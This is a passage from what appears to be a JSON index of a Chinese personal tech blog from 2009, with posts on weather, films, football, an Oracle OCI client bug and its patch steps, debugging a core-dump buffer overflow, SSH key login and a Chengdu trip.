挤公交上班，晚上带着一身臭汗回家。\n此次高温天气持续时间长，印象中还未经历过如此长的高温天气，且这期间几乎没有什么降雨；我每天都看天气预报，就期望着第二天能凉快一些或者下场雨降降温，可是每次这种奢望都成了泡影，天依旧那么热。甚至过了立秋，高温也没有停下脚步的意思；\n温度高，湿度也较高，60%以上(家里湿度计上的显示结果)；不过比起北京典型的桑拿天，这里还逊色一些。但依旧让人很难受，多数人宁可选择减少喜爱的户外活动而待在不健康的空调房中。\n我不喜欢空调环境下的空气，家里也并没有安装空调，在家里只能靠冲凉来降温，往往是刚冲完凉出来不到五分钟身上就干了，热气顿时包围住身体。以至于近些天我都开始动了买空调的心思了。另外大热天总有吃生冷食物的冲动，但是这是很不健康的做法，这不刚刚就因为吃了较多凉西瓜而上吐下泻了一番，得不偿失。\n不知道凉爽的天气何时能够到来！\n","permalink":"https://tonybai.com/2009/08/12/it-is-too-hot/","summary":"\u003cp\u003e记得一年前的六月份到北京客户那里开会，从Taxi里出来后，走在北京著名的金融街上，那叫一个热！夹杂着湿气的热浪一阵阵的扑面而来，让我浑身不舒服，豆粒大的汗珠瞬间就从额头、颈部流了下来。见识过北京糟糕的夏季天气的我当时心里还在庆幸：还好这是在北京，远在东北的沈阳可从来没有这么热过，起码没热的这么难受。\u003c/p\u003e","title":"天儿太热了！"},{"content":"周二半价日，委托一个朋友提前买了\u0026quot;哈利波特与混血王子\u0026quot;的电影票，位置在百老汇影城，虽说提前了(如果下班后再买，基本就得等午夜场了)，但是还是晚了，只买到了8号小厅的票。下了班车，紧赶慢赶还是差了5分钟，习惯了在一号大厅看片，冷不丁的来到小厅还有些不是很适应。屏幕略小，而且效果一般，屏幕最左侧还有些光影瑕疵，顿感不爽。但位置还不错，厅的正中。此时离首映都一个半月过去了，人还是不少，当然了半价也是吸引大家的一个重要原因。\n先不谈影片表现，先说说我对该片的定位。半月前Summer就在我的评论中说他要去看哈6首映。而我对该片的首映可没有多大兴趣。要知道这是哈利波特系列电影的第六部，也就是中间的一部，对于我来说，既没有了像对第一部那样的热烈渴望，也没有像对最后一部大结局那样的期待，这仅仅中间的一部，一部过渡电影，高潮必然不多，但是我还是会到电影院去看，为的是延续、有始有终，因为前几部我都是在影院看的。事前我就劝LP不要去看，因为这部电影给非哈迷的最大感觉可能就是冗长拖沓，甚至是完全看不懂。而且从哈利波特系列的第四部火焰杯开始，剧情愈加黑暗，基本已经没有了前三部的新奇好玩，并且随着哈利、罗恩和赫敏三人的长大成人，天真无邪也必将从剧情中消失殆尽。剩下的也就是那些做工还算精良的特技效果对非哈迷们还值得一看。\n看完这部电影后我的心情很平静，因为正如我的定位：它就是一部剧情过渡电影，可以划为“中庸”系列中。除了邓布利多的死让人扼腕惋惜之外，其他内容都谈不上精彩。但是其黑暗程度已经超出我的想象了，用“惊悚”来给之定级也不过分，特别是哈利“杀死”马尔福、食死徒夜间攻击韦斯利一家以及邓布利多带哈利去找魂器这三段剧情，已经完全不适合低龄小朋友们去看了。三位小主人公的表演我没觉得有太大进步，与童年时的他们相比，总感觉有些别扭。大陆译制后的配音也一般，估计原声的会稍好一些。片中安排了过多的青春萌动戏份，也许是为了缓解一些剧情黑暗给观众们带来的压力。\n如果你还没有看这部电影，我的建议是：如果不差钱的话，可以看看。但建议你观赏之前摆正心态，这部片子注定不会给你带来太多惊喜。如果你不是哈迷的话，不看也罢。近两年国产小成本新片拍的都还不错。到影院看电影，不就是为了一休闲放松么，一部让你看不懂又冗长的片子相信你看起来不会轻松，而只会呼呼大睡（如果你能睡的着的话^_^）。\n哈利波特小说系列早在去年就已经出版了大结局-\u0026ldquo;哈利波特与死亡圣器\u0026rdquo;，电影人的步伐也不慢，还剩下最后一部小说了，据说要拍成上下集，期待哈利波特系列电影有个圆满结局。\n","permalink":"https://tonybai.com/2009/08/01/film-harry-potter-6-in-my-eyes/","summary":"\u003cp\u003e周二半价日，委托一个朋友提前买了\u0026quot;哈利波特与混血王子\u0026quot;的电影票，位置在百老汇影城，虽说提前了(如果下班后再买，基本就得等午夜场了)，但是还是晚了，只买到了8号小厅的票。下了班车，紧赶慢赶还是差了5分钟，习惯了在一号大厅看片，冷不丁的来到小厅还有些不是很适应。屏幕略小，而且效果一般，屏幕最左侧还有些光影瑕疵，顿感不爽。但位置还不错，厅的正中。此时离首映都一个半月过去了，人还是不少，当然了半价也是吸引大家的一个重要原因。\u003c/p\u003e","title":"我眼中的哈利波特6"},{"content":"上周测试组反馈在一台HP X86-64主机Solaris 10 for X86环境下部署的应用无法连接Oracle数据库，错误码ORA-12154。而另外一个产品的部署在这台主机上的应用却能正常连接到数据库。本周安排专人对该问题进行查找，在先后排除了用户环境设置、Oracle数据库服务端等问题后，我们最终把目光集中在了Oracle客户端的OCI库上。\n定位过程如下：\n1、SQLPLUS可以访问数据库；\n2、同环境下另一个应用可以访问数据库；\n以上证明用户环境和tnsnames.ora配置没有问题；\n3、通过抓包未发现客户端有到Oracle服务端的链接和数据传输，所以该问题应该与Oracle Server端一毛钱关系都没有；\n4、发现我们产品的应用使用的是32bit库编译的，而另外一个产品的应用使用的是64bit库，但两个产品底层调用都是一样的；\n5、基本锁定是该主机上装的Oracle OCI 32bit库有bug；\n6、我们的资深系统工程师在Oracle官方找到了该问题的根源；\n7、安装新patch后，应用顺利连接到Oracle Server，问题解决。\nOracle官方对该问题的说明摘录如下：\nSolaris x86-64: Running 32-bit Applications Connecting to Database Using TNS Naming Adapter Fails With Segmentation Fault (SIGSEGV) or ORA-12154\nDoc ID: 388631.1 Type: PROBLEM\nModified Date : 23-OCT-2007 Status: PUBLISHED\n——————————————————————————–\nApplies to:\nOracle Server – Enterprise Edition – Version: 10.2.0.2\nSymptoms\nRunning 32-bit applications connecting to Database using TNS Naming Adapter Fails With Segmentation Violation (SIGSEGV)\nSegmentation Fault(coredump)\nRunning 64-bit work as expected.\nOther symptoms would be\nORA-12154: TNS:could not resolve the connect identifier specified\nCause\nThis has been identified to be caused by\nBug 5389730 10.2.0.1 32BIT OCI EXECUTABLES FAILS WITH ORA-12154 ON SOLARIS 10 X86-64(AMD64)\nTNS Naming Adapter was not included within the 32-bit Naming Libraries.\nSolution\nThis is fixed Oracle11g Client 11.0.\nThere exists patches for 10.2.0.2 and 10.2.0.3:\ndownload and installPatch 5389730 with opatch or\nTo implement the solution manually, please execute the following steps:\nDownload Patch 5389730\ncp $ORACLE_HOME/network/lib/ins_net_client.mk\n$ORACLE_HOME/network/lib/ins_net_client.mk.prePatch_5389730\nextract ins_net_client.mk into $ORACLE_HOME/network/lib/ins_net_client.mk\ncd $ORACLE_HOME/network/lib\nmake -f ins_net_client.mk nnfgt.o\nWhich update (check this)\n$ORACLE_HOME/lib/libn10.a and $ORACLE_HOME/lib32/libn10.a\nmake -f ins_net_client.mk client_sharedlib\nwhich update (check this)\n#$ORACLE_HOME/lib32/libclntsh.so\n#$ORACLE_HOME/lib32/libclntsh.so.10.1\n#$ORACLE_HOME/lib/libclntsh.so\n#$ORACLE_HOME/lib/libclntsh.so.10.1\nCheck that executable is loading $ORACLE_HOME/lib32/libclntsh.so.10.1 by ldd ‘executable’\nAll dynamically linked applications that use libclntsh should work now.\nStatic linked applications, need to be relinked with the new libraries.\n","permalink":"https://tonybai.com/2009/07/31/a-bug-of-oracle-oci-lib/","summary":"\u003cp\u003e上周测试组反馈在一台HP X86-64主机Solaris 10 for X86环境下部署的应用无法连接Oracle数据库，错误码ORA-12154。而另外一个产品的部署在这台主机上的应用却能正常连接到数据库。本周安排专人对该问题进行查找，在先后排除了用户环境设置、Oracle数据库服务端等问题后，我们最终把目光集中在了Oracle客户端的OCI库上。\u003c/p\u003e","title":"分享一个Oracle OCI库的BUG"},{"content":"网络相册，我一直用Google的Picasa Web Albums。若干年前的我最初使用的是Flickr，可好景不长，Flickr的图片地址在国内无法访问到了。无奈换到Picasa Web Albums，当初还花了好大力气将各个blog文章中的图片重新上传到Picasa，并更换文章中的链接。近期我最喜欢的巴萨开始正式赛季前的热身了，本打算写几篇文章发表下看法，但是却发现Picasa Web Albums无法显示相册图片了，而且以前上传的图片在blog中也无法显示出来。到Google的帮助中心看了一下，才发现原来国内很多地方的网友都在帮助中心的论坛上发帖，咨询为什么无法看到Picasa的图片了。这时我才醒悟：疑似Picasa Web Albums遭遇了与饭否等的同等待遇-被和谐了。\n政府的这种手段不用多加评论了，大家心里都有数了。在没有Pisaca的这段日子里，只能暂以纯文字形式记录生活吧。期待Pisaca早日恢复正常。\n","permalink":"https://tonybai.com/2009/07/27/picasa-web-albums-may-be-forbidden/","summary":"\u003cp\u003e网络相册，我一直用Google的\u003ca href=\"http://picasaweb.google.com/bigwhite.cn/\"\u003ePicasa Web Albums\u003c/a\u003e。若干年前的我最初使用的是Flickr，可好景不长，Flickr的图片地址在国内无法访问到了。无奈换到Picasa Web Albums，当初还花了好大力气将各个blog文章中的图片重新上传到Picasa，并更换文章中的链接。近期我最喜欢的巴萨开始正式赛季前的热身了，本打算写几篇文章发表下看法，但是却发现Picasa Web Albums无法显示相册图片了，而且以前上传的图片在blog中也无法显示出来。到Google的\u003ca href=\"http://www.google.com/support/forum/\"\u003e帮助中心\u003c/a\u003e看了一下，才发现原来国内很多地方的网友都在帮助中心的论坛上发帖，咨询为什么无法看到Picasa的图片了。这时我才醒悟：疑似Picasa Web Albums遭遇了与\u003ca href=\"http://bigwhite.blogbus.com/logs/42254180.html\"\u003e饭否\u003c/a\u003e等的同等待遇-被和谐了。\u003c/p\u003e","title":"Picasa Web Albums疑似被和谐了"},{"content":"明天凌晨三时，西甲“三冠王”巴萨将迎来自己2009-10赛季季前赛的第一场热身比赛，客场在温布利球场挑战托特纳姆热刺队。巴萨作为上个赛季的三冠王，其风头最近被在转会市场呼风唤雨的皇马主席弗洛伦蒂诺抢去了不少。与皇马在转会市场的风光无限比起来，巴萨似乎有些沉寂：先是拿下了国米弃将马克斯维尔，再又签下了巴西年轻射手凯里森，今天上午媒体爆料埃托奥和伊布的交易即将成功，只是官方还未证实，而且针对这笔交易大家也是各抒己见。那么这支巴萨还能否重现上赛季的辉煌呢？这个没有定论，但是新赛季新巴萨还是有几大看点值得球迷期待：\n1、卫冕“三冠王”\n这是梅西的愿望，也是所有巴萨球迷的愿望。历史上似乎没有哪支球队卫冕过“三冠王”。巴萨能否成为历史NO.1，这的确最值得大家期待。\n2、夺取六冠\n除了已经揣入囊中的冠军杯、西甲冠军和国王杯冠军之外，巴萨还有三个延续性的奖杯可以去夺取：西班牙超级杯、欧洲超级杯和世俱杯。哈维的愿望是夺取“六冠”。\n3、新“三叉戟”\n2008-09赛季，梅西、埃托奥和亨利组成的三叉戟在欧洲赛场所向披靡，其中典型的比赛包括5:2屠里昂和4:0屠拜仁。不过最近的埃托奥和伊布的交换可能让新赛季的三叉戟有了新的改变- 梅西、伊布和亨利，到底这次交换成功与否，就要看新赛季新巴萨三叉戟的发挥了。\n4、青训“妖人”\n巴萨青训系统近几年的崛起，让巴萨球迷对现有青训体系下诸多适龄球员充满了期待。比如：天赋于梅西十倍的盖伊.阿苏林和普队替身穆捏萨等，本赛季这些拉玛西亚出品的妖人能否在一线队有上佳表现，还需时间来证明。\n5、巴萨梦三 vs 银河战舰2\n巴萨用三冠王的荣誉向世人宣告了“巴萨梦三”的启航，而皇马则在用金元招来了C罗、卡卡和本泽马后向世界宣告银河战舰2的重组，新赛季西甲必定更加好看，因为有梦三和银河战舰2的对决，到底鹿死谁手让我们拭目以待。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/07/24/barca-2010/","summary":"\u003cp\u003e明天凌晨三时，西甲“三冠王”巴萨将迎来自己2009-10赛季季前赛的第一场热身比赛，客场在温布利球场挑战托特纳姆热刺队。巴萨作为上个赛季的三冠王，其风头最近被在转会市场呼风唤雨的皇马主席弗洛伦蒂诺抢去了不少。与皇马在转会市场的风光无限比起来，巴萨似乎有些沉寂：先是拿下了国米弃将马克斯维尔，再又签下了巴西年轻射手凯里森，今天上午媒体爆料埃托奥和伊布的交易即将成功，只是官方还未证实，而且针对这笔交易大家也是各抒己见。那么这支巴萨还能否重现上赛季的辉煌呢？这个没有定论，但是新赛季新巴萨还是有几大看点值得球迷期待：\u003c/p\u003e","title":"巴萨·2009-2010赛季看点"},{"content":"周六，对于上班族来说是多么好的日子，能在家里享受自由的无拘无束的生活而且不用担心第二天的工作，应该说是一周中最没有压力的一天。六点半起床，慢慢喝下一杯225ml左右的凉白开（保健医生说20-25摄氏度的凉白开比较适宜作为起床后的第一杯水），套上运动短裤和上衣，打开MP3播放器，塞上耳机，出门在园区内慢跑。昨晚下了一场雨，所以园区早上的空气很好。耳畔酷玩乐队的“Viva La Vida”让我跑起来很轻松，30分钟的有氧慢跑能让我的大脑和心脏获得足够的氧气，心情也变得更好。最后绕着园区走上一圈结束锻炼。\n回房间后，舒舒服服的冲了个热水澡。简单的吃过早饭后就回到了本本前，本来计划解决一下本周五发现的一个GB2312转Unicode码的问题。但此时远在南方某省的技术支持人员打来电话，说我们的产品又出现问题了。这个问题早有端倪，曾先后引起客户总部的投诉、当地一些客户的投诉以及计费部门的投诉。前些时间在查这个问题时一直很迷惑，同样的机器和配置在其他省就没有问题，为什么唯独在该省问题严重。而且从业务量上来说，该省虽然业务量上比其他省高出一些，但按照目前我们产品的处理能力来看，还是完全可以满足要求的。在没有找到根本问题前，本周一直在做一些程序部署上的优化以及参数调整，希望能通过这些手段来缓解问题的严重程度。\n本周五刚刚完成了一些I/O上优化，周六却又出现了问题，而且这次是客户集团总部的投诉。前方的技术人员已经是火急火燎，但是查问题也不是一蹴而就的事情，还是需要细心、耐心和稳定的心理的，不能头脑发热。\n所有问题的查找都只能从已出现的问题现象着手。今天问题的现象是：我们的产品作为Server端时无法及时收消息并回应答，导致客户端异步发送窗口中的消息超时并重发该消息，而这条重发的消息因与前一条消息有着同样的消息ID而被我们的产品拒绝。还有一个现象就是：我们的产品作为Client端向一内部的鉴权子系统发鉴权请求，因未能及时收到应答而导致我们自己的异步发送窗口中的消息过期而直接进行了下一个环节的处理，这样一来这些消息在用户体验和计费上都会出现问题而导致投诉。\n试着调整一下两端通信的参数以及一些队列的缓存参数，生效后也仅仅缓解了一段时间就再次出现了类似的问题，严重时双方居然因为socket阻塞而导致链接断开。这时技术支持同事提到主机I/O特别高。I/O高倒是很好的解释了socket未能及时被读取的问题，但是本周明明做了些I/O优化，为什么I/O还是这么高，而且此时该省的业务量相当的小，基本排除因业务量过大而导致I/O高的可能了。但是又是什么导致阵列I/O高呢？甚是疑惑！\n究竟是什么问题导致大量磁盘操作呢？无意间在产品运行环境里发现一个Core文件，如果只发现一个core文件倒不足意外，但是发现这个core文件有上G的容量，而且一直在不断被刷新。难道就是这个core的不断刷新导致了I/O特高？遂尝试写了个脚本每个2秒尝试rm一次该core文件。果然经过这一处理，I/O降了下来，上面的问题也不再出现了。停掉脚本，I/O又攀升了上来，上面的问题就又出现了。“罪魁祸首”终于找到了！\n虽然使用脚本可以临时解决问题，但是这样解决问题显然是不负责任的。到底是什么导致Core的出现呢? 停掉脚本，让程序产生core，对core文件进行分析。通过pstack和gdb打开core文件，core文件输出的信息很少，很多信息都成了“???”，似乎栈被破坏了。不过可以获得出core文件的进程号以及dump core的接口函数名字。通过进程号和程序日志共同定位，发现出core的进程都是在处理同一个客户端提交的消息。让技术支持同事封掉该客户端的IP，果然再没有Core产生，看来是我们的程序在处理这家客户端提交的消息时出了问题。\n到目前为止已经大有收获了。继续！利用snoop工具获得了该客户端提交的消息包的信息。经过对比分析发现，该客户端提交的包信息与协议中定义的格式不符合。但是我们的程序居然没有发现这样的非法格式包，进一步结合代码、包信息和core信息进行分析，终于定位到了问题所在。原来是我们的程序的一个函数实现逻辑有误，而这种错误在处理正常格式包时是不会发生的，但是处理这种非法格式包时，会导致严重的栈上缓冲区溢出，直至进程运行混乱，dump core并退出。\n这时想起周五同事发来的一封邮件，说的是我们的另一个产品在另外一个省也遇到了类似情况，core的输出与今天处理的情况几乎相同。想必是一个问题。因为出问题的函数是很久以前的代码了，而且是复用库中的一处代码。估计所有复用了该库的产品都要做一次升级了。\n解决完问题已是日落时分，虽然身体感觉一丝疲乏，但是心情还是不错的，一天的努力终于有了成果，程序员的成就感就是由此而来的。\n","permalink":"https://tonybai.com/2009/07/18/debugging-notes-at-weekends/","summary":"\u003cp\u003e周六，对于上班族来说是多么好的日子，能在家里享受自由的无拘无束的生活而且不用担心第二天的工作，应该说是一周中最没有压力的一天。六点半起床，慢慢喝下一杯225ml左右的凉白开（保健医生说20-25摄氏度的凉白开比较适宜作为起床后的第一杯水），套上运动短裤和上衣，打开MP3播放器，塞上耳机，出门在园区内慢跑。昨晚下了一场雨，所以园区早上的空气很好。耳畔酷玩乐队的“\u003ca href=\"http://bigwhite.blogbus.com/logs/36958440.html\"\u003eViva La Vida\u003c/a\u003e”让我跑起来很轻松，30分钟的有氧慢跑能让我的大脑和心脏获得足够的氧气，心情也变得更好。最后绕着园区走上一圈结束锻炼。\u003c/p\u003e","title":"周末“捉虫”记"},{"content":"一年一度的公司福利体检结果刚刚出炉不久，与去年相比，我今年身体状况有些“不妙”：体重超重、血压有些偏高，另外谷丙转氨酶也略高于正常值。今天中午公司委托体检机构安排一名老医生给我们说说体检结果。老医生针对从全体员工体检结果中统计出的TOP3问题状况给出了具体的讲解和预防/缓解措施。这三个常见身体状况是：超重/肥胖、高血脂/血糖和脂肪肝，相信不仅我们公司的员工有这些问题，大多数做IT的人都或多或少有类似的情况。医生的讲解让在座的同事们不时发出“惊叹之声”。如何摆脱这些身体问题，老医生给了我们一个大家可能都熟知的“六字真经”：管住嘴，迈开腿。其实真经大家都知道，但是能否坚持做下去，这个却不是每个人都能肯定的。关于谷丙转氨酶略高的问题，医生的答复是：“可能与体检前一阶段的睡眠不好、压力过大等等有一定关系，问题不大。不放心可一段时间后去复查一下”。听了这番解释，我悬着的心才放了下来。\n随着产品的集群化，产品部署的服务器越来越多，维护的时候一台主机一台主机的跳转起来越来越麻烦，效率很低，浪费了很多时间。近期将之做了改进，利用“基于SSH密钥对的自动登录”方式来做改善。大致的方法就是：在客户端主机利用ssh-keygen生成密钥对，如果采用rsa方式，则默认生成一个私钥文件id_rsa和一个公钥文件id_rsa.pub，将id_rsa.pub的内容copy到服务端主机的.ssh/authorized_keys中即可。authorized_keys中可保存多个客户端主机的公钥内容，每个公钥单独一行即可。这样在客户端主机使用ssh username@host_ip即可自动登录到服务端主机。如果你将\u0026rsquo;ssh username@host_ip\u0026rsquo;定义为一个alias，那就更加方便了，那时你仅需要敲入几个字符，回车后就会登录到另外一台主机上了。\nSafari，苹果公司的桌面浏览器。两年前曾经安装过Safari，版本是多少我忘记了，但是那时的Safari连中文都不支持，试用了一段时间就卸载了。昨天得知Safari4已经于6月份Release，而且这次有了中文版。在网上搜了一下对Safari4的评价，还不错。对苹果公司的产品一向还是比较向往的，遂下载了一份，安装程序20多M，安装很快。启动后界面简洁、酷！试打开一个网页，Wow，快就一个字，IE就不用比了，比Firefox还要快，直观上就能感觉出来。在网上搜了一下网友对Safari4的评价以及Safari4自身的产品说明，“快”可是其最大卖点，第一印象不错。但是光是快还不够，我还希望它能稳定的运行而且能兼容访问大部分我平时常上的网站，特别是公司内部站点以及无障碍访问一些我们自己产品的WEB页面。经过测试在兼容性上Safari4没让我失望，Safari4对公司内部站点以及我们产品的WEB页面的兼容性很好，这点要好过Firefox，甚至是IE。用了一整天，页面没有布局混乱以及无法打开链接的情况。但是稳定性还是有一些小瑕疵的：白天在公司通过代理上网，时间长了，发现Safari4动不动CPU就上来了，磁盘I/O似乎也高，弄得我无奈将之关掉。但是回到家中，打开Safari4，持续几个小时也没有任何问题，直至目前还未找到原因。\nSafari4的绝大部分快捷键都与Firefox相同，所以从Firefox转移到Safari4很平滑，唯一让我遗憾的是：我尚未找到如何设定默认打开一个新标签页而不是打开一个新窗口。另外Safari4的地址栏搜索匹配速度似乎没有firefox快。\n","permalink":"https://tonybai.com/2009/07/17/physical-examination-and-ssh-and-safari4/","summary":"\u003cp\u003e一年一度的公司福利体检结果刚刚出炉不久，与去年相比，我今年身体状况有些“不妙”：体重超重、血压有些偏高，另外谷丙转氨酶也略高于正常值。今天中午公司委托体检机构安排一名老医生给我们说说体检结果。老医生针对从全体员工体检结果中统计出的TOP3问题状况给出了具体的讲解和预防/缓解措施。这三个常见身体状况是：超重/肥胖、高血脂/血糖和脂肪肝，相信不仅我们公司的员工有这些问题，大多数做IT的人都或多或少有类似的情况。医生的讲解让在座的同事们不时发出“惊叹之声”。如何摆脱这些身体问题，老医生给了我们一个大家可能都熟知的“六字真经”：管住嘴，迈开腿。其实真经大家都知道，但是能否坚持做下去，这个却不是每个人都能肯定的。关于谷丙转氨酶略高的问题，医生的答复是：“可能与体检前一阶段的睡眠不好、压力过大等等有一定关系，问题不大。不放心可一段时间后去复查一下”。听了这番解释，我悬着的心才放了下来。\u003c/p\u003e","title":"体检·SSH·Safari4"},{"content":"饭否无法访问，Twitter也无法访问，不知道是否是被GOV和谐了，弄得我想“牢骚”几句都没有地方。\n下午在家里“关门闭户”独自一人通过家庭影院重温了2007年上映的真人版“Transformers”以及一张花絮盘。虽然这部片子看过多次了，但是今天看起来依旧还是那么“起劲儿”。从花絮里看到了幕后电影制作人员努力和智慧，要知道仅仅一个擎天柱身上的零件就达到了10000多个，而且制作人员为了提高逼真度，每个重要的零件都是来摄自真实的汽车零件图片。\n现在处于欧洲足球联赛的间歇期，导致我这个球迷居然“无球可看”，不免有些闹心。而且近期听到的都是皇马大大出手购买顶级球星的消息，我喜欢的巴萨倒是没有太多动作。作为冠军队巴萨不需要买进太多球员，但是听说埃托奥要走，心里还是很为巴萨捏把汗的，我倒是不希望埃托奥离队，埃托奥正处于当打之年，而且与巴萨全队在战术和技术上融合的很完美，就这样走了有些可惜。但是一旦有了“利益”这两个字，一切就皆有可能了。\n昨天是项目组活动日，本来好好的计划居然被一场大雨给打乱了。无奈只能改变计划，先去钱柜K歌，再去饭馆补充能量，下午天气未能好转，各自回家。雨大，Taxi都打不到。\n本月15日，又有一部大片要登陆中国了，那就是“哈利波特6-混血王子”，不过哈利系列到后期已逐渐变得血腥和暴力，可能已经不适合低年龄段少年观看了。哈利波特的大结局去年就已经出版了，对于电影我并不抱太大希望，只是想有始有终。总体来说电影版的第一部绝对是经典之作。\n","permalink":"https://tonybai.com/2009/07/12/some-complaints/","summary":"\u003cp\u003e\u003ca href=\"http://fanfou.com/tonybai\"\u003e饭否\u003c/a\u003e无法访问，\u003ca href=\"http://twitter.com/tony_bai\"\u003eTwitter\u003c/a\u003e也无法访问，不知道是否是被GOV和谐了，弄得我想“牢骚”几句都没有地方。\u003c/p\u003e\n\u003cp\u003e下午在家里“关门闭户”独自一人通过家庭影院重温了2007年上映的真人版“Transformers”以及一张花絮盘。虽然这部片子看过多次了，但是今天看起来依旧还是那么“起劲儿”。从花絮里看到了幕后电影制作人员努力和智慧，要知道仅仅一个\u003ca href=\"http://tonybai.com/2007/03/15/optimus-prime-in-movie-is-so-handsome/\"\u003e擎天柱\u003c/a\u003e身上的零件就达到了10000多个，而且制作人员为了提高逼真度，每个重要的零件都是来摄自真实的汽车零件图片。\u003c/p\u003e","title":"“牢骚”几句"},{"content":"我们俩都不敢养真花，原因只有一个：怕养不活。但是上周还是没能抑制住心底对绿色植物的喜爱，用“不菲价格”购入了两盆“大家伙”。\n花匠称其中的一盆花为“香牡丹”，我在网上搜了半天也没找到“香牡丹”这种花；还是LP发现这盆花与一种叫“栀子花”的形神俱似，而且查了一下栀子花的资料，发现栀子花又名“木丹”，“牡丹” vs. “木丹”，发音也接近^_^，姑且把它看作是小叶栀子花吧。这种花最大的特点就是“香”。刚放到屋子里就满屋飘香。而且现在正值其花期，几十个花骨朵是“你方唱罢我登场”，让人看起来甚是喜欢。\n貌似“栀子花”\n这花真香\n另一盆花叫“孔雀茱萸”，因叶子有孔雀羽毛般的花纹而得名，很具观赏性，也比较常见。不过据花匠说这种花不会开花，但是具有不错的空气净化能力。经过一周的观察发现孔雀茱萸有一个很有趣的特点：那就是晚间时其叶子向上直立，向中间靠拢；但是白天的时候叶子就都垂下来了。\n孔雀茱萸\n养花时间还太短，其中的苦与乐还要在以后的日子里慢慢体会^_^。\n","permalink":"https://tonybai.com/2009/07/04/a-hint-of-green-appear-in-house/","summary":"\u003cp\u003e我们俩都不敢养真花，原因只有一个：怕养不活。但是上周还是没能抑制住心底对绿色植物的喜爱，用“不菲价格”购入了两盆“大家伙”。\u003c/p\u003e\n\u003cp\u003e花匠称其中的一盆花为“香牡丹”，我在网上搜了半天也没找到“香牡丹”这种花；还是LP发现这盆花与一种叫“栀子花”的形神俱似，而且查了一下栀子花的资料，发现栀子花又名“木丹”，“牡丹” vs. “木丹”，发音也接近^_^，姑且把它看作是小叶栀子花吧。这种花最大的特点就是“香”。刚放到屋子里就满屋飘香。而且现在正值其花期，几十个花骨朵是“你方唱罢我登场”，让人看起来甚是喜欢。\u003cbr\u003e\n\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"http://lh4.ggpht.com/_SbsHcYT2rMI/Sk6b5x3mx6I/AAAAAAAACJY/nIcby1-Eoik/s400/%E6%97%A0%E5%90%8D%E8%8A%B1.JPG\"\u003e\u003cbr\u003e\n貌似“栀子花”\u003c/p\u003e","title":"家中新绿"},{"content":"去九寨的必经路之一就是成都。公司在成都有分舵，位于风景秀丽的青城山上，但5.12地震时青城山毁坏严重，公司也受到了不小的损失。公司总部这边的很多人到过成都出差，凡去多的人都说成都不错：东西不贵，生活节奏慢，是个宜居城市。\n乘国航班机从沈阳飞往成都，途中遇到气流较多，飞机颠簸的较为厉害，那些日子恰逢法航的空难震惊世界，心中恐惧不免油然而生，只能加大耳机的音量麻痹自己的恐惧神经^_^。还好，飞机有惊无险的顺利到达成都双流机场，下飞机后第一件事就是办理两张熊猫金卡。\n飞机下厚厚的云层\n成都在5.12地震后为了加快其旅游业的复苏推出了“熊猫卡”，持有熊猫卡，你就可以免费畅游成都市内及附近11个国有景点。外省游客可免费申领熊猫金卡，持身份证即可办理，短信激活熊猫金卡也仅需一元钱。在双流机场国内到达出口的左侧，有醒目的熊猫卡办理处，在每天21点之前都有工作人员为你服务。\n第一天到达成都后并未进市内而是入住了国航的一家接待酒店，因为第二天还要飞九寨。成都机场附近开发的比沈阳要好许多，周围的各种配套设施很全面，比如宾馆、超市等，公交线路也多，周围还有很多崭新的楼盘，这些都给这个市郊地区带来了足够的人气。入住酒店后已近午后5点左右，放下行李，在宾馆周围逛逛，感受一下成都民间生活的气息。令我们惊奇的是在宾馆后身这一块小集市竟有十多家茶馆和麻将馆，走在街上你远远的就能听到搓麻将的声音，浓厚的川音时不时从两旁的茶楼和麻将馆传出。往里一撇，呵，男女老少，四人一桌，兴致正酣，有些人由于天气炎热甚至赤膊上阵，陶醉于麻将声和茶香中的成都本地人悠闲的享受着他们美好生活。\n在成都短暂的停留一晚后，第二天飞往九寨。又两天后，飞机再一次降落在成都机场。这回旅行社按照合同给我们安排到位于市内中心地带的四星级标准酒店-君悦丽景，酒店距离成都著名的步行街春熙路仅仅两三站地。由于时间充裕，我们决定逛街去。成都“公交车燃烧事件”的阴影此时还未散去，乘坐成都公交车还是有些心有余悸的，我们特意选择了一辆非空调车，两站地后，在春熙路东口下车。大都市的步行街大同小异，无非是看人、逛商场和吃东西。我们索性走进几个商场逛逛，发现逛商场的人真是多啊，特别是太平洋百货，本来就不大，里面被人群挤得满满的，本来喜欢逛商场的LP看到如此阵势后购物兴致也大减了不少。看来成都的商业环境还是蛮不错的，丝毫没有受到经济危机的影响啊。另外还有一个造就这一环境的可能因素就是成都人口基数较大，这点应该是其他一般省会城市所不能比拟的。我个人对商场购物没有兴趣，“吃”才是我此行的目的，在步行街上我一直在搜索成都本地名小吃，这也是来旅游前工作做得最多的一项。“龙抄手”总店很快就进入了我的法眼。把LP从商场里生拉硬拽出来，直奔“龙抄手”。\n成都著名步行街-春熙路\n春熙路上的孙中山铜像\n以前一直孤陋寡闻，不知“抄手”是何物，来成都前一成都同事告诉我：“抄手”其实就是北方的馄饨，在成都这边叫“抄手”，在福建那边似乎叫“云吞”。在成都，抄手的制作有多种，但是以“龙抄手”最闻名。原以为“龙抄手”总店只是卖抄手，进去后才发现：这里几乎汇集了成都所有有名小吃，什么钟水饺、赖汤圆、韩包子等，这里都可以买到，就是不知道是否正宗。这里还有卖小吃套餐的，一份套餐里包含很多种小吃，每种量不多，仅供尝尝。我们来这里就是来吃抄手的，其他小吃暂不考虑。LP对吃没兴趣，只要了碗“旋子凉粉”。我则要了碗原味抄手，之所以没要红油的，一是因为太辣，可能吃不惯；二是原味的才能充分品尝出这抄手到底做的如何。吃了后，我才觉得我可能错了，也许本地人吃的就是那种辣气，而抄手本身的滋味倒是其次。说实话这份原味抄手味道一般，甚至感觉还不如在沈阳吃的吉祥馄饨有味道。\n春熙路上的龙抄手总店\n龙抄手概况\n原味抄手\n从抄手店里出来，LP看中了步行街中央区域的那些小吃烧烤当口，并点了份烤土豆（这个沈阳没有），土豆不大，粘满了辣椒粉，但是LP却吃的津津有味，我虽然已经饱了，但是还是买了份张飞牛肉夹馍，泡椒味道的，居然也辣的很，牛肉块倒是很嫩。本来晚上想去吃串串香的，但是有了这抄手、土豆和牛肉垫肚子，再也没有了继续吃的欲望了，遂回酒店休息，为下面的行程做好准备。\n接下来的两天看乐山大佛、游佛教名山峨嵋，然后再次回到成都，行程中的第七天是在成都市内自由行。这一天自由行我们的计划是游青羊宫、杜甫草堂和武侯祠，逛逛锦里，然后晚上吃上一顿地道的四川火锅。\n到四川已经第七天了，身